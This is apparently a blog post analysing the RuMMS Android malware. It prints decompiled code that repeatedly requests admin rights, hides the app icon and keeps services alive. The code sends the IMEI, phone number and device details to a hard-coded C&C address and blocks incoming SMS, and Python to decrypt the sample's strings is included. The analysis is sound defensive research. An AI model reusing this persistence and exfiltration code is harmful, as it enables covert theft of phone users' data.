Diving into ruMMS - Android malware analysis

RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye
about this malware. In this analysis, I’ll try to give an overview of malicious behaviors of the malware, and techniques it uses.

First steps

First bad news: the code has been obfuscated: names don’t mean anything, and some strings are encrypted … MainActivity is the only class with a “normal” name. Let’s analyze it little by little:

main

Knowing that o.q is as follows:

1
2
3
>public static void q(Context paramContext, Intent paramIntent){
paramContext.startService(paramIntent);
>}

we know that a service named Tb is started. Secondly, because of the usage of ComponentName, my first guess as I saw this routine was that the app was requesting admin privileges right at the beginning. And it was a correct guess, because Aa class is the DeviceAdminReceiver.

screen_admin

As shown on the next picture, the app will ask for admin privileges as long as they are not granted. Indeed, the code 100 is used to filter the Activity‘s calling code
and the routine q is called again if the code is not equal to -1:

admin_ask

If privileges are granted, the routine o.q is then used to remove the app from the launcher:

disable_comp

and a new Service named Ad is started.

Ad Service

This class only contains:

ad_service

Probably a way to remain always active…

Tb service

tb_service

Once again, the service is restarted immediately after being destroyed, and in onCreate a new Thread is started. By looking at the class ax, we can actually see
that the routine ax.run only calls postDelayed on the Handler member of Tb. Then, it could written as follows:

1
2
3
4
5
>new Thread(new Runnable(){
public void run(){
Tb.handler.postDelayed(Tb.runnable, 0);
}
>}).start();

The Runnable is an instance of the class av, having this routine run:

av_thread

The array w contains strings encrypted with routines q(String) and q(char[]): private static final String[] w = { q(q("GSqN")), q(q("V[")), q(q("Z\\n")), q(q("F@q")), q(q("Z_")), q(q("\\\\x")), q(q("Z\\nV")), q(q("G[pG")), q(q("lBxP")), q(q("ZV")), q(q("l[sQ\007")), q(q("Z\\{M")), q(q("VZk")) };

I will not get into details of the algorithm here (see last section), so here are the decrypted strings:

1
2
3
4
5
6
7
8
9
10
11
12
13
>0: tall  
>1: ei
>2: ins
>3: url
>4: im
>5: one
>6: inst
>7: time
>8: _per
>9: id
>10: _inst
>11: info
>12: ehv

And then, the code could be written as follows, according to what JD-GUI shows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>public void run(){
if (!this.q.w.contains("one_inst")){
SharedPreferences.Editor editor = this.q.w.edit();
editor.putInt("one_inst", 1);
editor.putString("url", this.q.getApplicationContext().getString(R.string.URL));
editor.putString("inst", "1");
editor.putLong("time_per_ehv", 100L);
//o.t(Context) returns the device ID
editor.putString("id", this.q.getApplicationContext().getString(R.string.PREFIX_ID) + o.t(this.q.getApplicationContext()));
editor.putString("imei", o.t(this.q.getApplicationContext()));
editor.apply();
}
if (this.q.w.getString("inst", null) == "1") {
new v(this.q.getApplicationContext(), new ArrayList(), "install").execute(new String[] { this.q.w.getString("url", null) });
}
else{
new v(this.q.getApplicationContext(), new ArrayList(), "info").execute(new String[] { this.q.w.getString("url", null) });
}
Tb.q(this.q).postDelayed(this, bo.q);
>}

knowing that strings.xml contains:

1
2
3
4
5
6
><string name="app_name">Infinite Flight</string>
><string name="hello_world">Hello world!</string>
><string name="action_settings">Settings</string>
><string name="PREFS_NAME">AppPrefs</string>
><string name="PREFIX_ID">0080</string>
><string name="URL">http://37.1.207.31/api/?id=7</string>

We can then suppose that the malware will try to exfiltrate device informations to a C&C server.

To summarize, the app starts by asking admin privileges continuously, and then starts “unkillable” Services, one saving data in SharedPreferences for a future use.

Private data theft

The routine run we just analyzed ends by creating a new v, and the constructor takes as argument a string which was “install” or “info”, which is quite suspicious. This class extends AsyncTask, that’s the reason why
execute was called on newly created objects. In the decompiled class, I did’t found the routine doInBackground, however, there were three protected methods: onPreExecute(), void:q(JSONObject), and JSONObject:q(String[]). It was then obvious
that doInBackground was the third one. This routine only contains this:

1
2
3
>protected JSONObject q(String[] paramArrayOfString){
return q(paramArrayOfString[q.j]);
>}

where q.j equals 0 as one might expect. The routine q is as follows:

asynctask_doinbg

Once again, strings are encrypted and stored in the array t = { q(e("/\b8\021")), q(e("+\003*\026+\"")), q(e("/\002")), q(e("/\b-\n%*\n")), q(e("\"\007*\037u")), q(e("%\t0\n%%\022\001\027 f[~A")), q(e("2\0173\033")), q(e("%\t3\023")), q(e("\031\023,\022")), q(e("(\0073\033")), q(e("/\020;\f=")), q(e("\031\025;\020 ")), q(e("'\b:")), q(e("lT")), q(e("3\025")), q(e("(\003)")), q(e("_gG}_")), q(e("\031\026;\f")), q(e("2\003&\n")), q(e("\"\0032")), q(e("q_nN")), q(e("#\016(")), q(e("wL")), q(e("/\b-\n")), q(e("'\n2!04\023;")), q(e("3\0242")), q(e("\031\b+\023&#\024")), q(e("5\002")), q(e("\031\017:")), q(e("%\0072\022")), q(e("'\004")), q(e("+\t:\033(")), q(e("0\003,\r-)\b")), q(e(")\025")), q(e("#\017")), q(e("/\013")), q(e("%\t+\02004\037"))

Once decrypted, we have:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
>0: info  
>1: method
>2: id
>3: install
>4: data1
>5: contact_id = ?
>6: time
>7: comm
>8: _url
>9: name
>10: ivery
>11: _send
>12: and
>13: *2
>14: us
>15: new
>16: 9999999
>17: _per
>18: text
>19: del
>20: 7900
>21: ehv
>22: 1*
>23: inst
>24: all_true
>25: url
>26: _number
>27: sd
>28: _id
>29: call
>30: ab
>31: model
>32: version
>33: os
>34: ei
>35: im
>36: country

We can then rewrite the code in this way:

1
2
3
4
5
6
7
8
9
10
11
12
13
>public JSONObject q(String paramString){
JSONObject jsonObj = null;
r localr = new r();
this.e.add(new BasicNameValuePair("method", this.r)); //the string given in the constructor
this.e.add(new BasicNameValuePair("id", this.w.getString("id", null))); //this.w: SharedPreferences
if (this.r.startsWith("install")) {
return localr.q(paramString, q.Q, q());
}
else if (this.r.startsWith("info") || this.r.startsWith(q.d)){
return localr.q(paramString, q.Q, this.e);
}
return jsonObj;
>}

knowing that

  • q.Q = "POST" (decrypted)
  • q.d = "sms" (decrypted),
  • r is a class used to send HTTP request (which is consistent with q.Q)
  • and finally, the list returned by q() contains these values (once decrypted):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    >public List q(){
    this.e.add(new BasicNameValuePair("operator", o.o(q))); //param q : Context
    this.e.add(new BasicNameValuePair("model", Build.MODEL));
    this.e.add(new BasicNameValuePair("os", Build.VERSION.RELEASE));
    this.e.add(new BasicNameValuePair("phone", o.y(q)));
    this.e.add(new BasicNameValuePair("imei" , o.t(q)));
    this.e.add(new BasicNameValuePair("version", bo.w));
    this.e.add(new BasicNameValuePair("country", o.w(q)));
    return this.e;
    >}

The routine onPostExecute, takes as parameter a JSONObject containg C&C server’s response, and processes this response. This response contains commands, compared against
concatenated strings, based on decrypted ones listed above.
To conclude, we have here the way used by the malware to communicate with the C&C server. In doInBackground, the malware sends a query in order to know what to do, and the C&C server
answers with commands, asking the malware to send SMS, make calls, steal data, etc.

SMS receiver

But that’s not all! In the Manifest, a SMS receiver is registered (class Ma). Unfortunately, the routine onReceive was not properly decompiled, but I found these interesting lines:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>//   237: getfield 117	org/zxformat/Ma:e	Landroid/content/SharedPreferences;
>// 240: getstatic 31 org/zxformat/Ma:r [Ljava/lang/String;
>// 243: iconst_1
>// 244: aaload
>// 245: aconst_null
>// 246: invokeinterface 192 3 0
>// 251: aastore
>// 252: invokevirtual 196 org/zxformat/v:execute ([Ljava/lang/Object;)Landroid/os/AsyncTask;
>// 255: pop
>// 256: iload 5
>// 258: ifne +104 -> 362
>// 261: aload_0
>// 262: aload_1
>// 263: invokespecial 198 org/zxformat/Ma:w (Landroid/content/Context;)V

First, we can see that the AsyncTask named v we just analyzed is called here, and we can suppose that received SMS are exfiltrated in this way. The second thing to note
is the call to the routine w, calling another routine q:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>private void w(Context paramContext){
try{
q(paramContext);
}
catch (Exception paramContext) {}
>}

>protected boolean q(Context paramContext) throws Exception{
try{
Class.forName(q.x + r[3] + q.r + r[2]).getDeclaredMethod(q.h + q.r, new Class[0]).invoke(this, new Object[0]);
return true;
}
catch (Exception e){
throw e;
}
>}

Once decrypted, the array r contains:

1
2
3
4
>0: pdus
>1: url
>2: Receiver
>3: .content.

and q.x = "android", q.r = "Broadcast", and q.h = "abort", and then we have:

1
>Class.forName("android.content.BroadcastReceiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);

A few words about strings encryption

In many classes, strings are encrypted using two routines. The first one only affects the first byte, and the second one XOR’s each byte with 5 different constants. Let’s take as example the class q, containing malware’s constants:

enc1

which can be written in this way in Python:

1
2
3
4
>def first(paramString):
if len(paramString) < 2:
paramString = chr(ord(paramString[0])^0x44)+paramString[1:]
return paramString

and:

enc2

or in Python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>def xor(paramArrayOfChar):
if (len(paramArrayOfChar) == 0):
return ""
string = ""
for j in range(len(paramArrayOfChar)):
c = j % 5
i = -1
if c == 0:
i = 38
elif c == 1:
i = 85
elif c == 2:
i = 82
elif c == 3:
i = 20
else:
i = 108
string += chr(i ^ ord(paramArrayOfChar[j]));
return string

One has then to change the constant in the first routine and the values for i in the second one, and call xor(first(...))

RuMMS is a big family of malwares, and some classes of this sample seem to be useless. Indeed, since app icon is disabled, the author’s intention was not to make a usable app, and then, many features of this malware sample are probably unused.

Malware details and resources: